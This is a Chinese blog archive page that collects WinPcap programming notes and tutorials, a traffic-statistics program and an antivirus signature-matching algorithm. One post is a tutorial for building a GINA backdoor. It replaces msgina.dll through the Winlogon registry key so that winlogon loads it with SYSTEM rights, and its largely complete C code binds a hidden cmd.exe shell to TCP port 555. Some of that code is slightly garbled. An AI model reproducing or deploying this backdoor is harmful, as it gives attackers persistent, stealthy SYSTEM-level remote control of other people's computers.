按月归档: 4月 2007

[转]关于winpcap的一些认识

关于winpcap的一些认识关于winpcap的一些认识

                                                                         Bill yuan

                                                                                                          2004-9-29

一.Winpcap简介

       Winpcap是UNIX下的libpcap移植到windows下的产物,他是一个free and open source的项目。Winpcap工作于驱动(Driver)层,所以能以很高的效率进行网络操作。

       Winpcap提供了以下强大的功能:

1.捕获原始的数据包

2.设置filter,只捕获自己敢兴趣的数据包

3.方便的把捕获的数据包输出到文件和从文件输入

4.发送原始的数据包

5.统计网络流量

6.…..(其它还有很多,我不知道了)

二.Winpcap的安装使用方法

       1.到http://winpcap.polito.it下载winpcap的安装包,程序员开发包。

     2.执行安装包,这样你的机子就能运行winpcap程序了

     3.解压开发包,在VC的option的include和lib中加入winpcap的

include和lib

4. 在你的程序中加入#include <pcap.h>, #include <remote-ext.h>.然后在工程的setting中加入预定义宏:WPCAP,HAVE_REMOTE.导入wpcap.lib库

     5.就可以编写wpcap程序了

三.Winpcap的一些基本的功能的实现

     一)捕获数据包

              1.    枚举所有的可用的设备[pcap_findalldevs_ex](可选)

              2.    通过名字打开一个设备[pcap_open()]

在这里可以打开一个文件,只是在打开这个文件之前需要通过pcap_createsrcstr创建相应的name string

3.        设置Filter[pcap_compile, pcap_setfilter] (可选)

4.        捕获数据

有几种捕获数据的方法(捕获数据的数据都是最原始的数据包,即包含数据链路层的数据头)

a. 是以回调的方式[ pcap_loop,pcap_dispatch() ].

这两种方法基本相同,底层收集数据包,当满足一定的条件(timeout 或者缓冲区满),就会调用回调函数,把收集到的原始数据包s,交给用户。他们返回的数据缓冲区包含多个包

b.     pcap_next_ex()的方式

每当一个包到到达以后,pcap_next_ex就会返回,返回的数据缓冲区里只包涵一个包。

       二)发送包

              Winpcap中有发送单个包和发送多个包的方法。这里只说说发送单个包

1. 通过名字打开一个设备[pcap_open]

2. 自己构造一个原始数据包(这个数据包会不经过任何处理就发送出去,所以必须把包中的各个字段设置好。另外这个数据包是包含数据链路层报头的)

3. 使用pcap_sendpacket()发送数据包

三)统计网络流量

1. 通过名字打开一个设备[pcap_open]

     通过 read_timeout来设置统计的时间间隔

2. 设置filter[pcap_compile, pcap_setfilter] (可选)

3. 设置设备的为统计模式[ pcap_setmode(MODE_STAT);]

4. 开始统计,pcap_loop/pcap_dispatch()

5.在回调函数中的参数中就包含了统计信息,如下图:

     

   

四. 总结

这些东西都是我在学习winpcap的过程中的一些经验和总结。由于我学习winpcap的时间很匆忙,只是按照step by step guide来学习的,所以我对于winpcap的理解也就只能局限与此,希望能在以后有机会深入学习

/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//下面是一个应用winpcap写的一个网络流量统计的例子,

// nettraffic.cpp : Defines the entry point for the console application.

//

#include "stdafx.h"

#include <pcap.h>

#include <remote-ext.h>

#include <iostream>

#include <winsock2.h>

using namespace std;

//————————————————————————

//————————————————————————

void dispatcher_handler(u_char* user_data, const struct pcap_pkthdr * pkthdr, const u_char *pktdata);

//————————————————————————

int main(int argc, char* argv[])

{

       int                                       i;

       pcap_if_t*                          alldevs;

       pcap_if_t*                          dev;

       char                             errorbuf[PCAP_ERRBUF_SIZE];

       int                                       choice;

       pcap_t*                              stathandle;

       WSADATA                              wsadata;

       struct timeval               timestamp;

     

       if( WSAStartup( MAKEWORD(2,2), &wsadata) != 0 )

       {

              cerr<<"WSAStartup failed [ "<<WSAGetLastError() <<" ]"<<endl;

              return (-1);

       }

     

       //enum all device

       if( pcap_findalldevs_ex( PCAP_SRC_IF_STRING, NULL, &alldevs, errorbuf ) == -1 )

       {

              WSACleanup();

              cerr<<"pcap_findalldevs_ex failed! ("<<errorbuf<<")"<<endl;

              return (-1);

       }

     

       for( i=0,dev = alldevs; dev != NULL; dev = dev->next )

       {

              cout<<++i<<‘t'<<dev->name<<endl;

       }

     

       if( i== 0 )

       {

              WSACleanup();

              cerr<<"no device found!"<<endl;

              return (-2);

       }

     

       //let user choice

       while( 1)

       {

              cout<<"please choice a device:";

              cin>>choice;

              if( choice >= 1 && choice <=i )

                     break;

            

              cerr<<"input error, you shall choice a device from upon list"<<endl;

       }

     

       //move to the choice device

       for( i=0, dev = alldevs; i<choice-1; i++,dev = dev->next );

       if( (stathandle = pcap_open( dev->name,

                                                        100,

                                                        PCAP_OPENFLAG_PROMISCUOUS,

                                                        500,

                                                        NULL, errorbuf ) ) == NULL )

       {

              cerr<<"open device failed! [device:"<<dev->name<<"] "

                     <<errorbuf<<endl;

            

              pcap_freealldevs( alldevs );

              WSACleanup();

              return (-3);

       }

     

       cout<<"is Stat "<<dev->name<<" …"<<endl;

       pcap_freealldevs( alldevs );

     

       pcap_setmode( stathandle, MODE_STAT );

       timestamp.tv_sec = 0;

       timestamp.tv_usec = 0;

       pcap_loop( stathandle, 0, dispatcher_handler,(unsigned char*)&timestamp );

       pcap_close( stathandle );

       return 0;

}

//————————————————————————

void dispatcher_handler(u_char* user_data, const struct pcap_pkthdr * pkthdr, const u_char *pktdata)

{

       static struct timeval       tstamp = *( (struct timeval*)user_data );

       LARGE_INTEGER                  Bps,Pps;

       unsigned long               delay;

       char                             strtime[32];

     

       delay = (pkthdr->ts.tv_sec – tstamp.tv_sec)*1000000 – tstamp.tv_usec + pkthdr->ts.tv_usec;

     

       Pps.QuadPart = ((*(LONGLONG*)(pktdata)) * 1000000 ) / delay;

       Bps.QuadPart = ((*(LONGLONG*)(pktdata + 8)) * 1000000 ) / delay;

       struct tm* ltime = localtime( &(pkthdr->ts.tv_sec) );

       strftime( strtime, sizeof(strtime),"%H:%M:%S", ltime);

     

       printf("%s:", strtime );

       printf("tPps=%I64utBps=%I64urn",Pps.QuadPart,Bps.QuadPart);

     

       tstamp = pkthdr->ts;

}

Read: 584

WinPcap 教程

原文出处:http://winpcap.polito.it/docs/man/html/index.html
作者:
Loris Degioanni ([email protected]), NetGroup, Politecnico di Torino
http://winpcap.polito.it
概述:
这 篇教程将会指引读者逐步了解WinPcap编程, 从简单的基础函数(获取网络接口列表, 捕捉数据包)到更高级的内容(处理发送队列, 网络流量统 计). 教程中包括一些代码片断, 以及一些简单但完整的例子, 读者可以参考这些例子更好的理解教程的内容. 这些例子全部用C语言写成, 所以基本的 C语言编程知识是必要. 同时, 因为这篇教程的内容是与底层网络紧密相连的, 所以笔者假设读者已经具备有关网络和协议的相关知识.
译者的话:
WinPcap 是一套免费的, 基于Windows的网络接口API, 它在底层网络操作方面对程序员很有帮助. 这篇文档翻译自 "WinPcap Documentation 3.0" 中的 "WinPcap tutorial: a step by step guide to program WinPcap" 一部分. 这篇教程对初学者的帮助很大, 尤其是简短清晰的例 子, 但这篇教程只是整个文档的一小部分, 我认为你仍然需要参考文档的其它部分来了解各种结构等信息. 教程中注有前缀 "Y-" 的部分是译者为了让 读者更明白作者的意思添加的, 原文中没有.
1. 获取网络接口列表
通常, 一个基于WinPcap的应用程序所要做的第一件 事, 就是获得适合的网络接口的列表. Libpcap中的pcap_findalldevs()函数就是干这活的: 这个函数然回一个pcap_if结 构的列表, 每个元素都记录了一个接口的信息. 其中, name和description以人类可以阅读的形式, 记录了设备的信息.
下面的源代码输出可用的网络接口的列表, 并且在没有找到任何借口的情况下输出错误信息:

代码  
#include "pcap.h"
main()
{
pcap_if_t *alldevs;
pcap_if_t *d;
int i=0;
char errbuf[PCAP_ERRBUF_SIZE];
/* 取得列表 */
if (pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %sn", errbuf);
exit(1);
}
/* 输出列表 */
for(d=alldevs;d;d=d->next)
{
printf("%d. %s", ++i, d->name);
if (d->description)
printf(" (%s)n", d->description);
else
/* Y- 没有有效的描述 */
printf(" (No description available)n");
}
if(i==0)
{
/* Y- 没有有效的接口, 可能是因为没有安装WinPcap */
printf("nNo interfaces found! Make sure WinPcap is installed.n");
return;
}
/* 我们不再需要列表了, 释放 */
pcap_freealldevs(alldevs);
}

我们来看看这段代码.
首 先, 和其他的libpcap函数一样, pcap_findalldevs(), 有一个错误缓冲区(errbuf)参数. 这个参数是一个字符串指 针, 一旦发生错误,libpcap将会在这里填入错误描述. 然后, 请注意, pcap_findalldev系统下的s()函数同时也被UNIX下 的libpcap所支持, 但是并不是所有的操作系统都支持“网络接口描述”(description)这一项. 所以, 如果我们想写一个可以移植的的 应用程序,那么我们必须要为描述为“空”(null)的情况做好准备:遇到这种情况我们就输出一个“没有有效的描述”的消息.
最后我们通过pcap_freealldevs()函数来释放接口列表.
现在让我们编译并运行我们的第一个WinPcap程序. 如果你使用UNIX或者Cgywin的话, 你只需要以下命令:
gcc -o testaprog testprog.c -lpcap
在Windows环境中(Y – 如果你使用Microsoft Visual C++), 你需要建立一个工程, 按照"Using WinPcap in your programs " 一节中说明来做.
不过, 我仍然建议你参照Winpcap开发者包(WinPcap developer’s pack)中的例子, 那些例子包括了所以配置完善的工程, 以及全部你所需要的库和包含文件.
(Y – 你可以在本章最后找到Microsoft Visual C++ 的配置方法)
假设现在你已经成功编译了程序, 我们就来运行它. 在我的WinXP工作站上, 输出结果是:
1. {4E273621-5161-46C8-895A-48D0E52A0B83} (Realtek RTL8029(AS) Ethernet Adapter)
2. {5D24AE04-C486-4A96-83FB-8B5EC6C7F430} (3Com EtherLink PCI)
就如你所看到的, 网络接口的名称(当打开这个接口时, 需要传递这个名称给libpcap库)在windows环境下几乎是没有办法读懂的(Y-严重同意), 所以输出一个描述对于你的用户来说是非常有帮助的.

附注: Microsoft Visual C++ 工程的设置
1. 下载并安装 WinPcap, 推荐的版本是3.0
2. 从 http://winpcap.polito.it 下载 WinPcap Developer’s Pack 并解压缩
3. 用 Microsoft Visual C++ 建立一个空工程 (empty project)
4. 复制源代码
5. 把 Winpcap Developer’s Pack 中的 Includes 目录添加为新的包含文件目录
6. 添加库 wpcap.lib 和 wsock32.lib
原文出处:http://winpcap.polito.it/docs/man/html/index.html
作者:
Loris Degioanni ([email protected]), NetGroup, Politecnico di Torino
http://winpcap.polito.it
2. 获取设备的高级信息
上 一课我们介绍了如何获取一个设备的基本信息(比如设备名称和设备描述). 实际上, WinPcap 也可以为我们提供关于接口的更多信息. 由 pcap_findalldevs() 函数返回的 pcap_if 结构也包含了一个 pcap_addr 结构的列表, 它记录了以下信息:
1. 接口的地址列表
2. 接口的掩码列表 (与地址列表一一对应)
3. 接口的广播地址列表 (与地址列表一一对应)
4. 目标地址列表 (与地址列表一一对应)
下面例子中的 ifprint() 函数将会输出 pcap_if 结构的全部内容. 它包括了 pcap_findalldevs() 函数所返回的所有元素. ( Y- 全部有效接口)

代码  

/*
* Copyright (c) 1999 – 2002
* Politecnico di Torino. All rights reserved.

Read: 768

自己打造GinaBackDoor

前言
“马”玩了不少,不过玩得都是别人写的,总感觉不是很爽。何不自己打造一个属于自己BackDoor呢?!
既然是后门,当然是不能被轻易发现的,这是首要的一条。在WIN2K和XP下进程隐藏可以有DLL加载、远程注入等几种方式。我们今天采用虽然还是属于常见的DLL加载类型。不过这次是替换掉系统的核心DLL,如果强行删除的话……呵呵,下次启动就不正常了。
Socket:毒啊毒!比“独行者”还毒!

前置知识
首先来介绍下Gina在windows中的作用:WinNT、Win2K等在进入用户shell前都有一个身份验证的过程。这个过程就是由Gina完成 的,Gina除了验证用户身份以外还要提供图形登陆界面。系统默认的Gina是msgina.dll,在系统目录system32下可以找到。微软除了提 供默认的Gina还允许自定义开发Gina以替换掉msgina.dll来实现自己的一些认证方式,这就为我们打造后门提供了条件!
要替换掉系统默认加载的msgina.dll很简单,只要编辑注册表在HKEY_LOCAL_MACHINESOFTWAREMicrosoft Windows NTCurrentVersionWinlogon项下加入一个类型为REG_SZ,名为GinaDLL的键值,数据填写我们替换的GinaDLL的 名字就OK了。例如:
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon]
"GinaDLL"="ginadll.dll"(ginadll.dll就是我们用来替换的Gina)。

在我们自己的DLL中只要邦定一个SHELL,其他的直接调用msgina.dll就行了。说直接一点就是安装 一个中间层,使其达到一个后门的目的。Gina是加载到winlogin进程中的,winlogin是系统的用户交互登陆进程,具有SYSTEM权限,理 所当然我们的后门也有SYSTEM权限,这对于后门来说是再好不过了。

实现过程
由于我们一共要替换15个Gina函数,全部写出来会相当大。这里就选几个重要部分做示范,其他的只需直接往下一层的msgina.dll调用就行了,详细请参考完整源代码。
typedef BOOL (WINAPI *PFUNCWLXNEGOTIATE)( DWORD, DWORD* );
typedef BOOL (WINAPI *PFUNCWLXINITIALIZE)( LPWSTR, HANDLE, PVOID, PVOID, PVOID* );
typedef VOID (WINAPI *PFUNCWLXDISPLAYSASNOTICE)( PVOID );
typedef int (WINAPI *PFUNCWLXLOGGEDOUTSAS)( PVOID, DWORD, PLUID, PSID, PDWORD, PHANDLE, PWLX_MPR_NOTIFY_INFO, PVOID *);
typedef BOOL (WINAPI *PFUNCWLXACTIVATEUSERSHELL)( PVOID, PWSTR, PWSTR, PVOID );
typedef int (WINAPI *PFUNCWLXLOGGEDONSAS)( PVOID, DWORD, PVOID );
typedef VOID (WINAPI *PFUNCWLXDISPLAYLOCKEDNOTICE)( PVOID );
typedef int (WINAPI *PFUNCWLXWKSTALOCKEDSAS)( PVOID, DWORD );
typedef BOOL (WINAPI *PFUNCWLXISLOCKOK)( PVOID );
typedef BOOL (WINAPI *PFUNCWLXISLOGOFFOK)( PVOID );
typedef VOID (WINAPI *PFUNCWLXLOGOFF)( PVOID );
typedef VOID (WINAPI *PFUNCWLXSHUTDOWN)( PVOID, DWORD );
typedef BOOL (WINAPI *PFUNCWLXSCREENSAVERNOTIFY)( PVOID, BOOL * );
typedef BOOL (WINAPI *PFUNCWLXSTARTAPPLICATION)( PVOID, PWSTR, PVOID, PWSTR );
typedef BOOL (WINAPI *PFUNCWLXNETWORKPROVIDERLOAD) (PVOID, PWLX_MPR_NOTIFY_INFO);

后门要用到的全局变量
//管道
HANDLE hStdOut = NULL, hSRead = NULL;
HANDLE hStdInput = NULL, hSWrite = NULL;

//用来控制线程是否结束返回
BOOL bExit = FALSE;

//保存创建的CMD进程语柄
HANDLE hProcess = NULL;

//Winlogon进程最先调用的函数,用来检查Gina支持的winlogin版本
BOOL WINAPI WlxNegotiate(DWORD dwWinlogonVersion, DWORD *pdwDllVersion)
{
HINSTANCE hDll=NULL;
if( !(hDll = LoadLibrary( "msgina.dll" )) )
return FALSE;

//取得msgina.dll中的WlxNegotiate函数入口
PFUNCWLXNEGOTIATE pWlxNegotiate = (PFUNCWLXNEGOTIATE)GetProcAddress( hDll, "WlxNegotiate" );
if( !pWlxNegotiate )
return FALSE;

//往下层调用
return pWlxNegotiate( dwWinlogonVersion, pdwDllVersion );
}

//为一个特别的窗口站初始化一个GinaDLL
BOOL WINAPI WlxInitialize( LPWSTR lpWinsta, HANDLE hWlx,
PVOID pvReserved, PVOID pWinlogonFunctions, PVOID *pWlxContext)
{
HINSTANCE hDll=NULL;
if( !(hDll = LoadLibrary( "msgina.dll" )) )
return FALSE;
PFUNCWLXINITIALIZE pWlxInitialize = (PFUNCWLXINITIALIZE)GetProcAddress( hDll, "WlxInitialize" );
if( !pWlxInitialize )
return FALSE;

//初始化windows socket的WS2_32.DLL
WSADATA WSAData;
if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)
return FALSE;

//同上往下调用
return pWlxInitialize( lpWinsta, hWlx, pvReserved,pWinlogonFunctions,
pWlxContext );
}

//Winlogon在没有用户登陆时接收到一个SAS事件调用这个函数
int WINAPI WlxLoggedOutSAS(PVOID pWlxContext, DWORD dwSasType,
PLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions,
PHANDLE phToken, PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,
PVOID *pProfile)
{
HINSTANCE hDll=NULL;
if( !(hDll = LoadLibrary( "msgina.dll" )) )
return FALSE;
PFUNCWLXLOGGEDOUTSAS pWlxLoggedOutSAS = (PFUNCWLXLOGGEDOUTSAS)GetProcAddress( hDll, "WlxLoggedOutSAS" );
if( !pWlxLoggedOutSAS )
return FALSE;
HANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //创建互斥对象
WaitForSingleObject(hmutex,INFINITE);

//后门的主线程开始
CreateThread(NULL,NULL,StartInit,NULL,NULL,NULL);
ReleaseMutex(hmutex);
CloseHandle(hmutex);

//调用下层的WlxLoggedOutSAS
int ret = pWlxLoggedOutSAS(pWlxContext, dwSasType, pAuthenticationId, pLogonSid, pdwOptions, phToken, pMprNotifyInfo, pProfile );
return ret;
}

//StartInit线程
DWORD WINAPI StartInit(PVOID lp)
{
SOCKET sock=NULL;

//建立一个TCP SOCKET
sock = socket (AF_INET,SOCK_STREAM,IPPROTO_TCP);
SOCKADDR_IN addr_in = {0};
addr_in.sin_family = AF_INET;
addr_in.sin_port = htons(555); //端口号,可以自己改
addr_in.sin_addr.S_un.S_addr = htonl(INADDR_ANY);

//绑定到555端口
if(bind(sock,(sockaddr *)&addr_in,sizeof(sockaddr))==SOCKET_ERROR)
return 1;

//侦听
listen(sock,1);
sockaddr_in sin={0};
int size = sizeof(sin);
while ( TRUE )
{
//接受一个连接的请求返回一个SOCKET没有请求则一直阻塞
//在一个连接断开后又返回等待另外的连接
SOCKET recvSock=accept(sock,(sockaddr *)&sin,&size);
if ( recvSock == INVALID_SOCKET ) {
Sleep(1000);
continue;
}
HANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //创建互斥对象
WaitForSingleObject(hmutex,INFINITE);
//创建后门
HANDLE hThread = CreateThread(NULL,NULL,BackDoor,&recvSock,0,NULL);
ReleaseMutex(hmutex);
CloseHandle(hmutex);
//等待BackDoor线程结束。
WaitForSingleObject(hThread,INFINITE);
bExit = FALSE;
}
return 1;
}

//BackDoor线程
DWORD WINAPI BackDoor (LPVOID lp)
{

//用来设置管道可被子进程继承
SECURITY_ATTRIBUTES sa;
sa.bInheritHandle =TRUE;
sa.nLength = sizeof(sa);
sa.lpSecurityDescriptor = NULL;

//创建管道
CreatePipe ( &hSRead, &hStdOut, &sa, 0 );
CreatePipe ( &hStdInput, &hSWrite, &sa, 0 );
STARTUPINFO StartInfor = {0};
PROCESS_INFORMATION ProInfor = {0};

//重定向子进程的标准输入输出,为我们刚刚建立好的管道
StartInfor.cb = sizeof ( STARTUPINFO );
StartInfor.wShowWindow = SW_HIDE;
StartInfor.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
StartInfor.hStdOutput = StartInfor.hStdError = hStdOut;
StartInfor.hStdInput = hStdInput;

//取得CMD的完整路径
TCHAR SysDir[MAX_PATH] = {0};
GetSystemDirectory(SysDir,MAX_PATH);
if ( SysDir[strlen(SysDir)-1] != ‘\’)
strcat(SysDir,"\");
strcat(SysDir,"cmd.exe");
HANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //创建互斥对象
WaitForSingleObject(hmutex,INFINITE);

//创建CMD子进程
CreateProcess(NULL,SysDir,NULL,NULL,TRUE,NULL,NULL,NULL,&StartInfor,&ProInfor);
hProcess = ProInfor.hProcess;

//由于我们不对CMD的出入输出进行操作所以我们可以关闭
CloseHandle(hStdOut);
CloseHandle(hStdInput);
HANDLE hArray[2] = {0};

//创建一个接收命令线程和一个返回结果的线程
hArray[0] = CreateThread (NULL,NULL,RecvThread,&sock,NULL,NULL);
hArray[1] = CreateThread (NULL,NULL,SendThread,&sock,NULL,NULL);
ReleaseMutex(hmutex);
CloseHandle(hmutex);

//等待2个线程的结束
WaitForMultipleObjects(2,hArray,TRUE,INFINITE);
closesocket(sock);
return 1;
}

//RecvThread 线程
DWORD WINAPI RecvThread ( LPVOID lp)
{
SOCKET sock = *(SOCKET*)lp;
TCHAR CmdBuf[512] = {0}; //接收命令的Buf
int num = 0;
while ( TRUE )
{
if ( bExit == TRUE )
return 1;
TCHAR Tbuf[2] = {0};
int ret = recv(sock, Tbuf, 1, 0); //接收一个字符
if ( ret == 1 )
{
num++; //接收的字符记数
strcat(CmdBuf,Tbuf); //追加到CmdBuf中
send(sock,Tbuf,1,0); //回显
if ( Tbuf[0] == ‘n’ ) //如接收到回车
{
TCHAR buf[5] = {0};
DWORD A=0;
//写到管道中供CMD的标准输入读取
WriteFile(hSWrite,CmdBuf,num,&A,NULL);
memcpy ( buf, CmdBuf, 4);
//如果是exit命令设置线程结束标志
int ret = _stricmp (buf,"exit");
if ( ret == 0 )
bExit = TRUE;
memset(CmdBuf,0,512);
num=0;
}
}
else
{
//如果连接中断终止CMD进程
bExit = TRUE;
DWORD A=0;
GetExitCodeProcess(hProcess,&A);
TerminateProcess(hProcess,A);
}
}
return 1;
}

//SendThread 线程
DWORD WINAPI SendThread ( LPVOID lp )
{
SOCKET sock = *(SOCKET*)lp;
TCHAR Buf[512]={0};
DWORD ReadSize = 0;
while(TRUE)
{
if ( bExit == TRUE ) //如果结束标志为真线程返回
return 1;
//查看管道是否有数据可读
PeekNamedPipe(hSRead,Buf,512,&ReadSize,NULL,NULL);
//有就读取 没有就Sleep0.1s再次检查
if ( ReadSize > 0 )
ReadFile(hSRead,Buf,512,&ReadSize,NULL);
else
{
Sleep(100);
continue;
}
//把从管道读出来的数据发给客户端.
send (sock,Buf,ReadSize,0);
memset(Buf,0,512);
}
return 1;

Read: 859

Winpcap简介

译自WinPcap Developer’s pack ,3.0 alpha。ps:traffic generators这个名词怎样译?今天上不了国外网,暂时还查不到资料。

capture series 是今后陆续要写的系列,包括翻译文档,自己的开发经验,以及去年发现并已修改的Jpcap里的一个大bug(伪首部及检验和)。

————————————————————————————-

Winpcap是一个免费公开的软件系统。它用于windows系统下的直接的网络编程。
大多数网络应用程序访问网络是通过广泛使用的套接字。这种方法很容易实现网络数据传输,因为操作系统负责底层的细节(比如协议栈,数据流组装等)以及提供了类似于文件读写的函数接口。

但是有时,简单的方法是不够的。因为一些应用程序需要一个底层环境去直接操纵网络通信。因此需要一个不需要协议栈支持的原始的访问网络的方法。

winpcap适用于下面的开发者:
1.捕获原始数据包。不管这个包是发往本地机,还是其他机器之间的交换包。
2.在数据包被发送到应用程序之前,通过用户定义的规则过滤。
3.向网络发送原始数据包。
4.对网络通信量做出统计。

这些功能依赖于Win32系统内核中的设备驱动以及一些动态链接库。

Winpcap提供了一个强大的编程接口,它很容易地在各个操作系统之间进行移植,也很方便程序员进行开发。

什么样的程序需要使用Winpcap
很多不同的工具软件使用Winpcap于网络分析,故障排除,网络安全监控等方面。Winpcap特别适用于下面这几个经典领域:
1。网络及协议分析
2。网络监控
3。通信日志记录
4。traffic generators
5。用户级别的桥路和路由
6。网络入侵检测系统(NIDS)
7。网络扫描
8。安全工具

Winpcap有些方面不能做。它不依靠主机的诸如TCP/IP协议去收发数据包。这意味着它不能阻塞,不能处理同一台主机中各程序之间的通信数据。它只能“嗅探”到物理线路上的数据报。因此它不适用于traffic shapers,QoS调度,以及个人防火墙。

Winpcap内部结构
Winpcap是一个Win32平台下用于抓包和分析的系统。包括一个内核级别的packet filter,一个底层的DLL(packet.dll)和一个高级的独立于系统的DLL(Wpcap.dll)500){this.resized=true;this.style.width=500;}">

1。 捕获系统要能得到网络上原始传输数据必须绕过协议栈。这就需要一个模快运行于操作系统内核,与网络设备驱动接口直接打交道。这一部分极端依赖系统,也被认 为是一种设备驱动。现有版本有Windows 85,98,ME,NT 4,2000,Xp。这些驱动提供一些如数据包的捕获与发送这些基本功能,还提供一些高级的可编程的过滤系统和监控引擎。过滤系统可以约束只捕获特定的数 据包(比如,只捕获特定主机发送的FTP报文)。监控引擎提供了一种强大但简单的使用机制去获得网络通信的统计荷载数据。
2。捕获系统要让用户程序使用内核提供的功能必须要有一个编程接口。Winpcap提供了两个不同的库:packet.dll 和wpcap.dll。
packet.dll提供一个底层的API,通过这个API可直接访问网络设备驱动,而独立于Microsoft OS.
wpcap.dll是一个高层的强大捕获程序库,与Unix下的libpcap兼容。它独立于下层的网络硬件和操作系统。

Read: 755

杀毒软件编程精华——特征码扫描技术

特征码扫描技术是反病毒技术中的常规武器,虽然特征码扫描技术有着一定的局限性,但是,改进的基于特征码扫描技术的广 谱特征串过滤技术却有着无比的优越性和广阔的应用前景。但是,无论是上面提到的哪种技术,最终都难以逃脱扫描算法的效率要求。而学过《数据结构》的读者应 该知道一种快速的字符串扫描算法叫做“模式匹配算法”,这种算法可以对字符串进行快速扫描。但是,深入进去就会发现,我们的特征码扫描算法中经常会用到通 配符,如:%和*(这里我令%匹配一个字符,*匹配32个字符),对于这样一些非常规的串,没有现成的算法可以引用。笔者在做防治木马技术的研究中,对常 规的模式匹配算法进行了改进,写出了如下的快速查找算法,暂且命名为“半回溯的模式匹配算法”,以与常规的“无回溯的模式匹配算法”区别。
这里,我之所以称之为“半回溯”,就是因为在对通配符进行匹配时要进行适当的回溯,以减少因为采用通配符所带来的过长推进,虽然这是一种带有回溯的算法, 但是实际上它的效率并不比“无回溯的模式匹配算法”低多少,其对算法的效率不能构成真正的威胁。这个算法比较抽象,如果没有基础的读者最好先回头看一下 《数据结构》的教材中的“无回溯的模式匹配算法”,会对您接下来对算法的理解产生很大的帮助。光说不练,不是好汉,下面我们就开始艰辛而又刺激的模式匹配 算法之旅。
对于“无回溯的模式匹配算法”,我不想做过多的说明,因为相关书籍上已经说得够明白了。下面,我们一起来看一下带通配符的半回溯的匹配算法(用%号匹配一个字符,用*匹配32个字符):
1.[初始化]
i=1; j=1;
counter1=0; counter2=0;
2.[利用next[i]反复进行比较,直到i等于m+1]
循环 当i<=m且j<=n时,反复执行
若(p[i]!=’*’且p[i]==t[j])
则i=i+1; j=j+1;
否则若p[i]==’%’
则 i=i+1; j=j+1; counter1=counter1+1;
否则若p[i]==’*’
则i=i+1; j=j+32; counter2=counter2+1;
否则若next[i]>0
则i=next[i] j=j – (counter1+counter2*32);counter1=0;counter2=0;
否则
i=1; j=j – (counter1+counter2*32);j++;counter1=0;counter2=0;
其中,counter1是用来统计%的个数,而counter2用来统计*的个数,其中m是子串的长度,n是被搜索串的长度。每次碰到子串中有%的时候就 自动将counter1加一,若是碰到counter2就自动将counter2加一。i用来指明子串的当前的比较的位置,而j用来指明被搜索串当前比较 的位置,如果一旦子串与被搜索串不能满足搜索条件,就要将被搜索串的比较位置进行回溯,以回到被通配符漏过的字符的个数,以便重新匹配。
这里,涉及到了与“无回溯的模式匹配算法”中相同的要使用的Next数组,其中,Next数组的计算方法如下:
1.[初始化]
j=0; i=1;
next[1]=0;
2.[反复比较计算next[i+1]
循环 当i<m时,反复执行
(1)[找出p1p2…pi中最大的相同的前缀和后缀,并将长度送j]
循环 当j>0且p[i]!=p[j] 且p[i]!=’%’且p[j]!=’%’时,反复执行
j=next[j]
(2)[计数器加1]
i=i+1; j=j+1;
(3)[计算next[i]]
若p[i]==p[j]或p[i]==’%’或p[j]==’%’
则next[i]=next[j];
否则next[i]=j;
Next数组的计算方法,与“无回溯匹配算法”稍有不同,因为%用来匹配一个字符,所以对于%的处理,可以看作比较的字符相等的情况来处理,而对*的比较,无论如何一个字符都不可能与一个32字符的字符串相等,所以对于*始终认为不相等。
这个算法的描述,无论我作何解释,读者总会感觉到有一些抽象,而难于真正理解。下面,笔者写了一个简单的程序,来对这个算法进行测试,希望对您会有所帮 助。这个程序是在VC6.0的控制台下运行的,非常简单,基本上就上将以上的算法翻译成了C++语言。源程序可以在附书光盘中找到,名称为“带通配符的无 回溯模式匹配算法源程序”。
在这个程序中,首先就是要建立一个子串和被搜索串,并确定算法中提到的m和n的值,如下所示。
//被搜索的串
char* t="nihaoaxishanchangshanchangaoyejiehhe*%dfisd%shanchashanchanghongioejw";
//子串
char* p="shanchang%*%hong";
//next数组中元素的个数等于子串的长度
int next[16];
int i,j;
//initialize variable
j=0;i=1;next[0]=0;
接下来,要计算next数组的值,对上面的算法进行翻译,得到如下代码。
//计算next数组的循环
while(i<16)
{
while(j>0&&p[i-1]!=p[j-1]&&p[i-1]!=’%’&&p[j-1]!=’%’)
j=next[j-1];
i++;
j++;
if(p[i-1]==p[j-1]||p[i-1]==’%’||p[j-1]==’%’)
next[i-1]=next[j-1];
else
next[i-1]=j;
}
有了至关重要的next数组之后,就要使用改进了的模式匹配算法,从被搜索串中搜索出子串,代码如下:
//模式匹配的循环
i=1;
j=1;
int counter1=0,counter2=0;
while(i<=16&&j<=69)
{
if(p[i-1]!=’*’&&p[i-1]==t[j-1])
{i++;j++;}
else if(p[i-1]==’%’)
{
i++;
j++;
counter1++;
}
else if (p[i-1]==’*’)
{
i++;
j+=32;
counter2++;
}
else if (next[i-1]>0)
{
i=next[i-1];
j-=(counter1+counter2*32);
counter1=0;
counter2=0;
}
else
{
i=1;
j-=(counter1+counter2*32);
j++;
counter1=0;
counter2=0;
}
//如果I等于17,说明对子串的搜索已经走到尽头,并搜索到了子串,跳出循环。
if(i==17) break;
}
如果您需要使用这个算法进行特征码的查找,可以直接将其中的计算next数组和模式匹配的部分进行移植。
到这里,基本上将要说的都说完了,可能您对这个算法还是有一些迷惑,如果您对其的正确性有疑问的话,可以使用上面的程序,对不同的子串和被搜索串进行操 作。另外,如果您对next数组不太了解,还是建议您找出教材来好好看一下。本算法的效率是比较高的,至于它的计算复杂度,我想在这里我就不能做过多的说 明了,有兴趣的读者,或者从事反病毒研究的读者,希望能对你们有一定的帮助,同时,如果有不对的地方,可以在黑防的论坛上面提一下,以期获得改进。
后记:对于一个真正的程序员来说,其任务决不应该仅仅只是机械地拖拖控件,动动鼠标。更重要的应该是编程开始前的软件的整体安排和设计,而相关算法设计也 应该是非常重要的一部分。对于一个扫描软件来说,其扫描算法的设计也定是其精华所在。本文专门对算法进行相关分析,希望能够对您有所启发。

Read: 962